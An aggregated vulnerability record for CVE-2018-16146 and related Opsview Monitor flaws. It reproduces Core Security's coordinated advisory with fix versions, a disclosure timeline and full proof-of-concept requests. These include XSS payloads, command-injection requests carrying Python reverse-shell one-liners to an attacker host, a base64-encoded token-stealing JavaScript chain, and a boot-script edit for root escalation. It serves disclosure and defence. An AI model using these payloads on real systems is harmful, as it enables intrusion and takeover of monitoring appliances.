CVE-2018-16146 (GCVE-0-2018-16146)

Vulnerability from cvelistv5 – Published: 2018-09-05 21:00 – Updated: 2024-08-05 10:17

Summary

Severity ?

No CVSS data available.

CWE

Assigner

mitre

References

URL

GHSA-FH92-WM8W-XPMM

Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50

Details

Severity ?

7.2 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2018-16146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-05T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account.",
  "id": "GHSA-fh92-wm8w-xpmm",
  "modified": "2022-05-13T01:50:17Z",
  "published": "2022-05-13T01:50:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16146"
    },
    {
      "type": "WEB",
      "url": "https://knowledge.opsview.com/v5.4/docs/whats-new"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2018/Sep/3"
    },
    {
      "type": "WEB",
      "url": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

VAR-201809-0904

Vulnerability from variot - Updated: 2023-12-18 12:01

The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account. Opsview Monitor The monitor contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. OpsviewMonitor is a virtual appliance designed to be deployed in an organization's network infrastructure. It is bundled with the web management console to monitor and manage the host and its services. OpsviewMonitor has a command execution vulnerability that allows an attacker to obtain command execution on the system as a nagios user. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/

Opsview Monitor Multiple Vulnerabilities

Advisory Information

Title: Opsview Monitor Multiple Vulnerabilities Advisory ID: CORE-2018-0008 Advisory URL: http://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities Date published: 2018-09-04 Date of last update: 2018-09-04 Vendors contacted: Opsview Release mode: Coordinated release

Vulnerability Information

Class: Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Execution with Unnecessary Privileges [CWE-250] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-16148, CVE-2018-16147, CVE-2018-16146, CVE-2018-16144, CVE-2018-16145

Vulnerability Description

Opsview's website states that:

Opsview[1] builds monitoring software that helps DevOps understand how the performance of their hybrid IT infrastructure & apps impacts business service delivery. Opsview Monitor supports +3500 Nagios plugins and service checks making it easy to monitor everything from Docker and VMware to Amazon Web Services, Hyper-V and more.

Vulnerable Packages

. Opsview Monitor 5.4 . Opsview Monitor 5.3 . Opsview Monitor 5.2

Other products and versions might be affected, but they were not tested.

Vendor Information, Solutions and Workarounds

Opsview released the following versions of its product that fix the reported issues. Opsview Monitor 6.0 . Opsview Monitor 5.4.2 . Opsview Monitor 5.3.1

In addition, Opsview published the following release notes:

. https://knowledge.opsview.com/v5.4/docs/whats-new . https://knowledge.opsview.com/v5.3/docs/whats-new

Credits

These vulnerabilities were discovered and researched by Fernando Diaz and Fernando Catoira from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.

Multiple vulnerabilities were found in the context of this appliance, which could allow a remote attacker to compromise the system. Vulnerabilities described in 7.1 and 7.2 could be abused to execute malicious JavaScript code in the context of a legitimate user. Finally, the issue found in one of the scripts run during the boot process presented in 7.5 would allow attackers to elevate their privileges from nagios user to root after a system restart, hence obtaining full control of the appliance.

7.1. Reflected Cross-Site Scripting in Diagnostics

[CVE-2018-16148] The 'diagnosticsb2ksy' parameter of the '/rest' endpoint is vulnerable to Cross-Site Scripting.

The following proof of concept demonstrates the vulnerability:

/----- GET /rest/diagnosticsb2ksy%253cscript%253ealert(1)%253c%252fscript%253ev7uol%3ffilename=1%26download=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: opsview_web_session=46f985298c7bba5291a18c3a749362a08eaa9401; auth_tkt=ODFlYjc4YjVlN2M5ZmQ2MDUyNzhlMTEyZTM1ZjRmODM1YWI5ODUzMGFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 -----/

7.2. Persistent Cross-Site Scripting in Settings endpoint

[CVE-2018-16147] The 'data' parameter of the '/settings/api/router' endpoint is vulnerable to Cross-Site Scripting. The following proof of concept demonstrates the vulnerability:

/----- POST /settings/api/router?_dc=1521575692128 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https:///settings/ x-opsview-username: rifle x-opsview-token: 053f415648640ea5a9d0c6e3e7f5603cf7b08503 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 506 Cookie: opsview_web_session=3b8059865b28b96a5cd27a6d4fb4193bed9aa256; auth_tkt=ZTFiMzFlODc1ZDUzYzk3MzEwMGM2MjhiZTgxMzRhMDQ1YWIxNWNlOXBlbnRlc3QhREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsTkFWT1BUSU9OUyxOT1RJRllTT01FLFBBU1NXT1JEU0FWRSxSUkRHUkFQSFMsVklFV0FMTCE%3D Connection: close

[{"action":"SettingsServer","method":"setObjecttypeState","data":["alert(4)","{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"filters\":[],\"pageSize\":50,\"page\":1}}"],"type":"rpc","tid":2},{"action":"SettingsServer","method":"setObjecttypeState","data":["profile","{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"filters\":[],\"pageSize\":50,\"page\":1}}"],"type":"rpc","tid":3}] -----/

The input will be stored without any sanitization and rendered every time the /settings section is visited by the user. It's important to point that this XSS is self stored and it's executed only in the context of the victim's session. However, this vulnerability can be exploited by an attacker to gain persistency and execute the malicious code each time the victim accesses to the settings section. Excerpt of the source code showing the injected script tag:

/----- [{"property":"name","root":"data","direction":"ASC"}]}},"contact":{"storeState":{"pageSize":50,"filters":[],"page":1,"sorters":[{"direction":"ASC","property":"name","root":"data"}]}},"alert(4)":{"storeState":{"sorters":[{"root":"data","property":"name","direction":"ASC"}],"pageSize":50,"filters":[],"page":1}},"hostcheckcommand":{"storeState":{"pageSize":50,"filters":[],"page":1,"sorters":[{"direction":"ASC","property":"priority","root":"data"}]}},"netflow_collector":{"storeState":{"sorters":[{"direction":"ASC","root":"data","property":"name"}],"page":1,"filters":[],"pageSize":50}},"alert(4)":{"storeState":{"sorters":[{"direction":"ASC","root":"data","property":"name"}]," -----/

7.3.

The following proof of concept executes a reverse shell:

/----- POST /rest/config/notificationmethod/testnotification?_dc=1520444703477 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https:///settings/ x-opsview-username: admin x-opsview-token: 7ac1116c336cc648cda6caa707a17d7aa6114074 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 376 Cookie: redirect=1; testing=1; sid=9bfa04afc5ccc966c623078bab8834e0; opsview_web_session=5071271ffb62fffffcb589c9ae9ab9c23d780b13; auth_tkt=MDA1M2JmODhmYTlmNWM1NDEyNzM3ZWRiYWJiMTBmZTA1YWEwMWY0M2FkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D Connection: close

{"message":"Test Message","command":"submit_xmpp_script","variables":[],"test_variables":[{"name":"PAGER","value":"123123123 || python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",16000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}],"id":"20"} -----/

Additionally, it is possible to combine this issue with a redirection functionality within the management console and the vulnerability described in 7.1 (Reflected Cross-Site Scripting), to build a specially crafted link that could be sent to an administrator to trigger a reverse shell.

In order to perform the attack, consider the following:

. API's sensitive actions require a 'restToken' to be processed. This token could be obtained by a Cross-Site Scripting attack from a specific endpoint (/settings). Abuse the login page redirection functionality to force the user to access the Cross-Site Scripting vulnerable URL described in 7.1 (you may also abuse the Cross-Site scripting vulnerability reported in https://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present). If the user is already authenticated he will be automatically redirected. Otherwise, the login page will appear and the redirection will take place after a successful login.

The following proof of concept presents a crafted link that could trigger a reverse shell if accessed by an administrator:

/----- https:///login?back=%2Frest%2Fdiagnosticsb2ksy%253cscript%253eeval(atob(%27dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO3hoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSl7cmVnZXhwID0gLyg%2FOnJlc3RUb2tlbiI6IikoLio%2FKSg%2FOiIpLzt0b2tlbiA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3JlZ2V4cCA9IC8oPzp1c2VyTmFtZSI6IikoLio%2FKSg%2FOiIpLzt1c2VybmFtZSA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3ZhciB4aHIyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7eGhyMi5vcGVuKCdQT1NUJywgJy9yZXN0L2NvbmZpZy9ub3RpZmljYXRpb25tZXRob2QvdGVzdG5vdGlmaWNhdGlvbi8nLCB0cnVlKTt4aHIyLnNldFJlcXVlc3RIZWFkZXIoIngtb3Bzdmlldy11c2VybmFtZSIsIHVzZXJuYW1lKTtjb25zb2xlLmxvZyh1c2VybmFtZSk7Y29uc29sZS5sb2codG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigieC1vcHN2aWV3LXRva2VuIiwgdG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKTtib2R5ID0geyJtZXNzYWdlIjoiVGVzdCBNZXNzYWdlIiwiY29tbWFuZCI6InN1Ym1pdF94bXBwX3NjcmlwdCIsInZhcmlhYmxlcyI6W10sInRlc3RfdmFyaWFibGVzIjpbeyJuYW1lIjoiUEFHRVIiLCJ2YWx1ZSI6IjEyMzEyMzEyMyB8fCBweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKFwiPGF0dGFja2VySVA%2BXCIsMTYwMDApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIn1dLCJpZCI6IjEifTt4aHIyLnNlbmQoSlNPTi5zdHJpbmdpZnkoYm9keSkpO2FsZXJ0KHRva2VuKTthbGVydCh1c2VybmFtZSk7fX07eGhyLm9wZW4oJ1BPU1QnLCAnL3NldHRpbmdzLycsIHRydWUpO3hoci5zZW5kKG51bGwpOw%3D%3D%27))%253c%25252fscript%253ev7uol%3ffilename=1%26download=1 -----/

Once clicked, the authenticated administrator will be redirected to the vulnerable section where his browser will perform a request to the '/settings' endpoint in order to obtain a valid 'restToken'. Finally, using that token, the API request to 'rest/config/notificationmethod/testnotification' will be exploited thus resulting in a reverse shell.

7.4. Rancid test connection functionality abuse leading to command execution

[CVE-2018-16144] NetAudit is a section within Network Analyzer that allows the user to automate the backing up of network devices' configuration files to a centralized location. The test connection functionality is vulnerable to command injection due to an improper sanitization of the 'rancid_password' parameter.

The following proof of concept executes a reverse shell:

/----- POST /rest/config/host/test_rancid_connection?_dc=1521569909290 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https:///settings/ x-opsview-username: admin x-opsview-token: b3d716e0157fd6337e6978220188051d8c578850 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 434 Cookie: opsview_web_session=8f48a60452543863c3ee3662202a0d0ef568e86f; auth_tkt=ZTJlMWFlODQ4ZTVhYmJiN2I3YTQzNWYxNzkzYjAxYWU1YWIxNGI1NWFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D Connection: close

ip=++++++&rancid_vendor=1&rancid_username=234234+add+password+xxxxx&rancid_connection_type=telnet&rancid_autoenable=1&rancid_password=2342342342+%3b+sleep%2011%3b%20python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("<attackerIP>",16000))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&host_id=2 -----/

/----- nc -lvp 16000 Listening on [0.0.0.0] (family 0, port 16000) Connection from [] port 16000 [tcp/*] accepted (family 2, sport 43016) $ id uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview) $ uname -a Linux image-builder-299 4.4.0-1010-aws #10-Ubuntu SMP Tue Jan 9 23:01:34 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux -----/

7.5. Script modification could allow local privilege escalation

[CVE-2018-16145] Most of the services in Opsview Monitor run with nagios privileges and the scripts that run at boot time, impersonate nagios user during its execution. However, the '/etc/init.d/opsview-reporting-module' script invokes the '/opt/opsview/jasper/bin/db_jasper' script before dropping root privileges.

The following excerpt shows the vulnerable code:

/----- /etc/init.d/opsview-reporting-module:

/opt/opsview/jasper/bin/db_jasper db_exists 2> /dev/null if [ $? != 0 ]; then echo "Attempted to start jasperserver but MySQL credentials are wrong." exit 0 fi

DAEMON=/opt/opsview/jasper/bin/rc.jasperserver

test -x $DAEMON || exit 0

Switch to opsview user if run as root

id | grep "uid=0(" >/dev/null if [ $? = 0 ] ; then su - opsview -c "$DAEMON $@" else exec $DAEMON $@ fi -----/

The file '/opt/opsview/jasper/bin/db_jasper', which is invoked by the vulnerable script, can be edited by the nagios user which belongs to the 'opsview' group.

/----- ls -ltr /opt/opsview/jasper/bin/db_jasper -rwxrwxr-x 1 opsview opsview 2531 Feb 6 2017 /opt/opsview/jasper/bin/db_jasper nagios@image-builder-299:/home/admin$ id uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview) -----/

Since 'db_jasper' receives 'db_exists' as an argument, which is later used in a case statement, an attacker could edit that specific part of the script in order to execute arbitrary code once the appliance is rebooted.

The following excerpt shows the attacker's bash script which, after execution, will trigger a reverse shell with root privileges:

/----- while [ "x$1" != "x" ] ; do case "$1" in db_export) db_export ;; db_export_test) db_export_test ;; db_export_initial) TEST=1 db_backup ;; db_import) db_import ;; db_install) db_install ;; db_backup) db_backup ;; db_restore) db_restore ;; db_exists) python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",16000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' & db_exists exit $? ;; db_upgrade) db_upgrade exit $? ;; *) die "Usage: $0 {db_export|db_import|db_install|db_backup|db_restore}" ;;

    esac
    shift

done -----/

/----- $nc -lvp 16000 Listening on [0.0.0.0] (family 0, port 16000) Connection from [] port 16000 [tcp/*] accepted (family 2, sport 45566)

id

uid=0(root) gid=0(root) groups=0(root) -----/

Report Timeline

2018-05-03: Core Security sent an initial notification to Opsview, asking for GPG keys in order to send draft advisory. 2018-05-04: Opsview replied attaching its GPG keys. 2018-05-04: Core Security sent the encrypted draft advisory. 2018-05-04: Opsview confirmed the reception of the advisory and informed an initial response would be ready by May 11th. 2018-05-11: Opsview replied saying they were able to reproduce all of the reported vulnerabilities and confirmed that they were present in all supported versions of Opsview Monitor (5.4, 5.3 and 5.2). In addition, Opsview informed that were planning to release a fix for these versions by the end of July. 2018-05-11: Core Security thanked the confirmation. 2018-06-25: Opsview informed that they were planning to release a major update for the product (6.0) at the end of July. This update will address all reported vulnerabilities. Also, they informed that the previous versions of the product would be fixed by the end of August. 2018-06-27: Core Security thanked the status update and asked for a tentative public disclosure date. 2018-07-16: Core Security requested a status update. 2018-07-18: Opsview proposed to set a tentative publication date by the end of August when they release the fixes for its earlier versions. 2018-07-18: Core Security agreed with the Opsview's proposal. 2018-07-23: Opsview notified Core Security that the Opsview Monitor 6.0 release will be available on July 25th. In addition, they informed that they didn't have the exact release date for the updates to previous versions of the product. 2018-08-06: Core Security requested a status update for the remaining fixes. 2018-08-13: Opsview replied saying that they were targeting the week of August 24th for release the fixes of their earlier product versions and they would confirm the exact date at the end of the next week. 2018-08-13: Core Security thanked the reply. 2018-08-24: Opsview informed Core Security that the remaining fixed versions will be available on August 29th. 2018-08-24: Core Security thanked the update and proposed September 4th as the coordinated release date. 2018-08-28: Opsview agreed on the proposed release date. 2018-09-04: Advisory CORE-2018-0008 published.

References

[1] https://www.opsview.com/solutions

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    "data": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account. Opsview Monitor The monitor contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. OpsviewMonitor is a virtual appliance designed to be deployed in an organization\u0027s network infrastructure. It is bundled with the web management console to monitor and manage the host and its services. OpsviewMonitor has a command execution vulnerability that allows an attacker to obtain command execution on the system as a nagios user. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nOpsview Monitor Multiple Vulnerabilities\n\n1. **Advisory Information**\n\nTitle: Opsview Monitor Multiple Vulnerabilities\nAdvisory ID: CORE-2018-0008\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities\nDate published: 2018-09-04\nDate of last update: 2018-09-04\nVendors contacted: Opsview\nRelease mode: Coordinated release\n\n2. **Vulnerability Information**\n\nClass: Improper Neutralization of Input During Web Page Generation\n[CWE-79], Improper Neutralization of Input During Web Page Generation\n[CWE-79],  Improper Neutralization of Special Elements used in an OS\nCommand [CWE-78],  Improper Neutralization of Special Elements used in\nan OS Command [CWE-78], Execution with Unnecessary Privileges [CWE-250]\nImpact: Code execution\nRemotely Exploitable: Yes\nLocally Exploitable: Yes\nCVE Name: CVE-2018-16148, CVE-2018-16147, CVE-2018-16146, CVE-2018-16144,\nCVE-2018-16145\n\n3. **Vulnerability Description**\n\nOpsview\u0027s website states that:\n\nOpsview[1] builds monitoring software that helps DevOps understand how\nthe performance of their hybrid IT infrastructure \u0026 apps impacts\nbusiness service delivery. Opsview Monitor supports +3500 Nagios plugins\nand service checks making it easy to monitor everything from Docker and\nVMware to Amazon Web Services, Hyper-V and more. \n\n4. **Vulnerable Packages**\n\n   . Opsview Monitor 5.4\n   . Opsview Monitor 5.3\n   . Opsview Monitor 5.2\n\nOther products and versions might be affected, but they were not tested. \n\n5. **Vendor Information, Solutions and Workarounds**\n\nOpsview released the following versions of its product that fix the\nreported issues. Opsview Monitor 6.0\n   . Opsview Monitor 5.4.2\n   . Opsview Monitor 5.3.1\n\nIn addition, Opsview published the following release notes:\n\n   . https://knowledge.opsview.com/v5.4/docs/whats-new\n   . https://knowledge.opsview.com/v5.3/docs/whats-new\n\n6. **Credits**\n\nThese vulnerabilities were discovered and researched by Fernando Diaz\nand Fernando Catoira from Core Security Consulting Services. The\npublication of this advisory was coordinated by Leandro Cuozzo from Core\nAdvisories Team. \n   \n7. \nMultiple vulnerabilities were found in the context of this appliance,\nwhich could allow a remote attacker to compromise the system. \nVulnerabilities described in 7.1 and 7.2 could be abused to execute\nmalicious JavaScript code in the context of a legitimate user. Finally, the\nissue found in one of the scripts run during the boot process presented\nin 7.5 would allow attackers to elevate their privileges from nagios\nuser to root after a system restart, hence obtaining full control of the\nappliance. \n\n7.1. **Reflected Cross-Site Scripting in Diagnostics**\n\n[CVE-2018-16148] The \u0027diagnosticsb2ksy\u0027 parameter of the \u0027/rest\u0027\nendpoint is vulnerable to Cross-Site Scripting. \n\nThe following proof of concept demonstrates the vulnerability:\n\n/-----\nGET\n/rest/diagnosticsb2ksy%253cscript%253ealert(1)%253c%252fscript%253ev7uol%3ffilename=1%26download=1\nHTTP/1.1\nHost: \u003cserverIP\u003e\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)\nGecko/20100101 Firefox/59.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCookie: opsview_web_session=46f985298c7bba5291a18c3a749362a08eaa9401;\nauth_tkt=ODFlYjc4YjVlN2M5ZmQ2MDUyNzhlMTEyZTM1ZjRmODM1YWI5ODUzMGFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\n-----/\n\n7.2. **Persistent Cross-Site Scripting in Settings endpoint**\n\n[CVE-2018-16147] The \u0027data\u0027 parameter of the \u0027/settings/api/router\u0027\nendpoint is vulnerable to Cross-Site Scripting. The following proof of\nconcept demonstrates the vulnerability:\n         \n/-----\nPOST /settings/api/router?_dc=1521575692128 HTTP/1.1\nHost: \u003cserverIP\u003e\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)\nGecko/20100101 Firefox/59.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://\u003cserverIP\u003e/settings/\nx-opsview-username: rifle\nx-opsview-token: 053f415648640ea5a9d0c6e3e7f5603cf7b08503\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nContent-Length: 506\nCookie: opsview_web_session=3b8059865b28b96a5cd27a6d4fb4193bed9aa256;\nauth_tkt=ZTFiMzFlODc1ZDUzYzk3MzEwMGM2MjhiZTgxMzRhMDQ1YWIxNWNlOXBlbnRlc3QhREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsTkFWT1BUSU9OUyxOT1RJRllTT01FLFBBU1NXT1JEU0FWRSxSUkRHUkFQSFMsVklFV0FMTCE%3D\nConnection: close\n\n[{\"action\":\"SettingsServer\",\"method\":\"setObjecttypeState\",\"data\":[\"\u003c/script\u003e\u003cscript\u003ealert(4)\u003c/script\u003e\",\"{\\\"storeState\\\":{\\\"sorters\\\":[{\\\"root\\\":\\\"data\\\",\\\"property\\\":\\\"name\\\",\\\"direction\\\":\\\"ASC\\\"}],\\\"filters\\\":[],\\\"pageSize\\\":50,\\\"page\\\":1}}\"],\"type\":\"rpc\",\"tid\":2},{\"action\":\"SettingsServer\",\"method\":\"setObjecttypeState\",\"data\":[\"profile\",\"{\\\"storeState\\\":{\\\"sorters\\\":[{\\\"root\\\":\\\"data\\\",\\\"property\\\":\\\"name\\\",\\\"direction\\\":\\\"ASC\\\"}],\\\"filters\\\":[],\\\"pageSize\\\":50,\\\"page\\\":1}}\"],\"type\":\"rpc\",\"tid\":3}]\n-----/\n\nThe input will be stored without any sanitization and rendered every\ntime the /settings section is visited by the user. It\u0027s important to\npoint that this XSS is self stored and it\u0027s executed only in the context\nof the victim\u0027s session. However, this vulnerability can be exploited by\nan attacker to gain persistency and execute the malicious code each time\nthe victim accesses to the settings section. \nExcerpt of the source code showing the injected script 